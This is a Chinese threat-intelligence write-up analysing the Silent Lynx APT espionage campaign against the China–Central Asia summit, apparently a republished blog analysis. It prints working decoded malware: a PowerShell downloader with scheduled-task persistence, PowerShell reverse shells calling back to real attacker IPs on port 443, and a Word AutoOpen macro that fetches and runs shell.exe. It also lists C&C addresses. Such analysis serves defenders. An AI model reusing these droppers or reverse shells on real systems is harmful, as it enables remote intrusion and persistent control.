文章总结： SilentLynxAPT组织针对中国-中亚峰会发起网络间谍活动，使用诱饵文件China-CentralAsiaSummitProject.rar作为攻击入口。攻击者通过GitHub仓库和多个俄罗斯IP地址作为C&C服务器，利用计划任务实现持久化，并使用PowerShell脚本建立反向shell。技术分析显示攻击者操作时区与中亚国家吻合，表明其可能位于中亚地区。
综合评分： 88
文章分类： 威胁情报,漏洞分析,应急响应,红队,安全运营

Silent Lynx APT组织针对中国—中亚峰会的网络间谍活动深度剖析

原创

T0daySeeker

2025年11月19日 16:57
四川

文章首发地址：
https://xz.aliyun.com/news/19311
文章首发作者：
T0daySeeker

概述

2025年11月3日，Seqrite安全实验室发布了一篇《Operation Peek-a-Baku: Silent Lynx APT makes sluggish shift to Dushanbe》报告，报告揭示了Silent Lynx APT组织针对「中国–中亚合作框架下的实体」发起的一场网络间谍行动。

为了能够深入的理解该组织的技术能力，笔者不仅对报告中提到的样本进行了详细分析，还尝试通过关联分析技术，获取了其他样本，并对其进行了详细剖析。

详细分析情况如下：

Seqrite安全实验室报告中提到了一款「与中国相关的诱饵样本：China-Central Asia SummitProject.rar」
尝试对Seqrite安全实验室报告中的样本进行分类梳理，样本可分为三类：
C&C站点（IP、域名）既充当木马下载地址，又充当反弹shell回链地址；
Github仓库作为木马下载地址，C&C站点充当反弹shell回链地址；
配合使用Ligolo-Ng隧道工具；
尝试对Github仓库（https://github.com/GoBuster7777/asd）进行分析，梳理发现：
此仓库于2025年3月17日开始使用，目前还在使用，最近的一次更新为2025年10月29日；
基于技术手段，提取Github仓库用户注册邮箱：[email protected]；
基于技术手段，梳理发现攻击者前期操作Github仓库的时区为东五区（+0500），与中亚国家时区吻合，与报告中提到的某样本上传地点时区也基本吻合；

VT关联样本

China-Central Asia SummitProject.rar

诱饵样本China-Central Asia SummitProject.rar解压后即可获得China-Central Asia Summit Project.exe样本。

China-Central Asia Summit Project.exe

命令行参数

通过分析，发现此样本支持命令行参数，相关代码截图如下：

通过分析，笔者发现好像只有-wait和-extract参数有实际效果，其他参数貌似意义不大：

-extract参数：将内嵌的 TM3.ps1 脚本提取到指定文件路径；
-wait参数：程序执行完成后，弹出一个提示框 “Click OK to exit…”，等待用户手动关闭；

运行截图如下：

加载执行TM3.ps1

样本运行后，将默认加载执行资源段中的TM3.ps1脚本。

尝试对TM3.ps1脚本解密，解密后Powershell脚本内容如下：

Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"iwr -Uri http://62.113.66.137/WindowsUpdateService.vbs -OutFile `$env:TEMP\WindowsUpdateService.vbs; iwr -Uri http://62.113.66.137/WindowsUpdateService.ps1 -OutFile `$env:TEMP\WindowsUpdateService.ps1; schtasks /create /tn `"WindowsUpdate`" /tr `"`\`"`$env:TEMP\WindowsUpdateService.vbs`\`"`" /sc minute /mo 6 /ru `"`$env:USERNAME`" /f; schtasks /run /tn `"WindowsUpdate`"`""

梳理其功能为：

外联下载http://62.113.66.137/WindowsUpdateService.vbs文件至%TEMP%\WindowsUpdateService.vbs路径；
外联下载http://62.113.66.137/WindowsUpdateService.ps1文件至%TEMP%\WindowsUpdateService.ps1路径；
创建计划任务，每6分钟执行一次WindowsUpdateService.vbs脚本；

WindowsUpdateService.vbs

WindowsUpdateService.vbs脚本功能为：外联下载并执行WindowsUpdateService.ps1脚本。

相关代码截图如下：

WindowsUpdateService.ps1

WindowsUpdateService.ps1脚本功能为：向 62.113.66.137:443 发起反向连接，实现远程命令执行。

解码后脚本内容如下：

$tcp = New-Object System.Net.Sockets.TCPClient("62.113.66.137", 443)
$stream = $tcp.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true

while ($true) {
&nbsp; &nbsp; $command = $reader.ReadLine()
&nbsp; &nbsp; if ($command) {
&nbsp; &nbsp; &nbsp; &nbsp; $output = Invoke-Expression $command 2>&1
&nbsp; &nbsp; &nbsp; &nbsp; if ($output -is [System.Collections.IEnumerable]) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $output = $output | Out-String
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; $writer.WriteLine($output)
&nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; $writer.WriteLine("No command received")
&nbsp; &nbsp; }
}

$reader.Close()
$writer.Close()
$stream.Close()
$tcp.Close()

相关代码截图如下：

1.ps1

在此次攻击中，攻击者还将Github仓库作为木马下载地址，相关下载地址截图如下：

此脚本功能与上述脚本功能相同，均为：向 62.113.66.137:443 发起反向连接，实现远程命令执行。

解码后脚本内容如下：

$e = '62.113.66.137'
$p = 443
$c = New-Object System.Net.Sockets.TcpClient($e, $p)
$s = $c.GetStream()
[byte[]]$b = ,0 * 65536

while ($true) {
&nbsp; &nbsp; $i = $s.Read($b, 0, $b.Length)
&nbsp; &nbsp; if (!$i) {
&nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; }

&nbsp; &nbsp; $d = [Text.Encoding]::UTF8.GetString($b, 0, $i).Trim()

&nbsp; &nbsp; if ($d) {
&nbsp; &nbsp; &nbsp; &nbsp; $r = try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; & ([ScriptBlock]::Create($d)) 2>&1 | Out-String
&nbsp; &nbsp; &nbsp; &nbsp; } catch {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $_.Exception.Message
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; $r += 'PS ' + $pwd.Path + '> '
&nbsp; &nbsp; &nbsp; &nbsp; $s.Write([Text.Encoding]::UTF8.GetBytes($r), 0, $r.Length)
&nbsp; &nbsp; }
}

$c.Close()

GoBuster7777仓库分析

尝试对GoBuster7777仓库进行分析，发现此Github仓库中存在1.ps1、2.ps1脚本，相关截图如下：

其中1.ps1脚本对应上述木马下载地址中的1.ps1脚本。

2.ps1脚本内容，除外联IP不同外，其余内容均相同。

2.ps1脚本解码后内容如下：

$e='143.244.140.9';$p=443;$c=New-Object System.Net.Sockets.TcpClient($e,$p);$s=$c.GetStream();[byte[]]$b=,0*65536;while($true){$i=$s.Read($b,0,$b.Length);if(!$i){break};$d=[Text.Encoding]::UTF8.GetString($b,0,$i).Trim();if($d){$r=try{& ([ScriptBlock]::Create($d)) 2>&1 | Out-String}catch{$_.Exception.Message};$r+='PS '+$pwd.Path+'> ';$s.Write([Text.Encoding]::UTF8.GetBytes($r),0,$r.Length)}};$c.Close()

commit记录

进一步分析，发现GoBuster7777仓库存在大量commit提交记录，相关截图如下：

基于技术手段，提取commit提交时间，梳理攻击者操作记录，发现攻击者前期操作Github仓库的时区为东五区（+0500），与中亚国家时区吻合，与报告中提到的某样本上传地点时区（大概率是受控地上传）也基本吻合。

时区对比截图如下：

GoBuster7777仓库样本梳理

尝试从GoBuster7777仓库中提取历史操作记录文件，共成功提取11个样本文件，相关信息如下：

adsprgsrv.exe

通过分析，梳理adsprgsrv.exe样本功能如下：

PDB信息：C:\Users\admin\source\repos\Service\x64\Release\Service.pdb
服务程序，负责在后台持续监控并启动 “adsprgprg.exe”程序

将adsprgsrv.exe手动注册为服务并启动后，adsprgsrv服务将启动同目录下的 “adsprgprg.exe”程序，相关截图如下：

相关代码截图如下：

adsprgprg.exe

通过分析，梳理adsprgprg.exe样本功能如下：

PDB信息：C:\Users\admin\source\repos\Laplasgeneral\x64\Release\Laplasgeneral.pdb
两种外联上线方式
内置反弹地址：catalog-update-unix-systems.servehttp.com:80
命令行参数指定：adsprgsrv.exe 外联地址外联端口
内置解密算法，解密后字符串为：cmd.exe

模拟手动指定外联地址，实现反弹shell功能截图如下：

两种外联上线方式代码截图如下：

字符串解密算法代码截图如下：

反弹shell代码截图如下：

adsprgprg.b64

通过分析，发现adsprgprg.b64样本实际为adsprgprg.exe的Base64编码样本。

Base64解码截图如下：

doc.dotm

通过分析，梳理doc.dotm样本功能如下：

宏病毒样本；
从http://178.128.40.89:8989/shell.exe地址外联下载shell.exe程序，保存至%TEMP%目录下的update.exe路径；

样本宏代码截图如下：

转换Chr()代码，得到实际代码如下：

Sub AutoOpen()
&nbsp; &nbsp; Dim v1 As String, v2 As String
&nbsp; &nbsp; v1 = "http://178.128.40.89:8989/shell.exe"
&nbsp; &nbsp; v2 = Environ("TEMP") & "\update.exe"

&nbsp; &nbsp; Dim o1 As Object
&nbsp; &nbsp; Set o1 = CreateObject("MSXML2.XMLHTTP")
&nbsp; &nbsp; o1.Open "GET", v1, False
&nbsp; &nbsp; o1.Send

&nbsp; &nbsp; If o1.Status = 200 Then
&nbsp; &nbsp; &nbsp; &nbsp; Dim o2 As Object
&nbsp; &nbsp; &nbsp; &nbsp; Set o2 = CreateObject("ADODB.Stream")
&nbsp; &nbsp; &nbsp; &nbsp; o2.Type = 1
&nbsp; &nbsp; &nbsp; &nbsp; o2.Open
&nbsp; &nbsp; &nbsp; &nbsp; o2.Write o1.responseBody
&nbsp; &nbsp; &nbsp; &nbsp; o2.SaveToFile v2, 2
&nbsp; &nbsp; &nbsp; &nbsp; o2.Close

&nbsp; &nbsp; &nbsp; &nbsp; Shell v2, vbHide
&nbsp; &nbsp; End If
End Sub

2.exe

通过分析，梳理2.exe样本功能如下：

PDB信息：C:\Users\pickl\source\repos\rev2\x64\Release\rev2.pdb
反弹shell，反弹shell地址：206.189.11.142:443

相关代码截图如下：

外联剖析

| 外联IP | 归属地 | 备注 |
| — | — | — |
| 62.113.66.7:80 | 俄罗斯莫斯科 | 外联下载 |
| 62.113.66.7:443 | 俄罗斯莫斯科 | 反弹shell |
| 206.189.11.142:443 | 荷兰-北荷兰省-阿姆斯特丹 | 反弹shell |
| 62.113.66.137:80 | 俄罗斯-莫斯科 | 外联下载 |
| 62.113.66.137:443 | 俄罗斯-莫斯科 | 反弹shell |
| 89.22.173.54:443 | 俄罗斯-莫斯科 | 反弹shell |
| 37.18.27.27:443 | 俄罗斯-圣彼得堡 | 反弹shell |
| 143.244.140.9:443 | 印度-安得拉邦 | 反弹shell |
| 178.128.40.89:8989 | 英国-伦敦 | 外联下载 |

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：T0daySeeker T0daySeeker《Silent Lynx APT组织针对中国—中亚峰会的网络间谍活动深度剖析》

Tags: 威胁情报安全运营应急响应漏洞分析红队

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)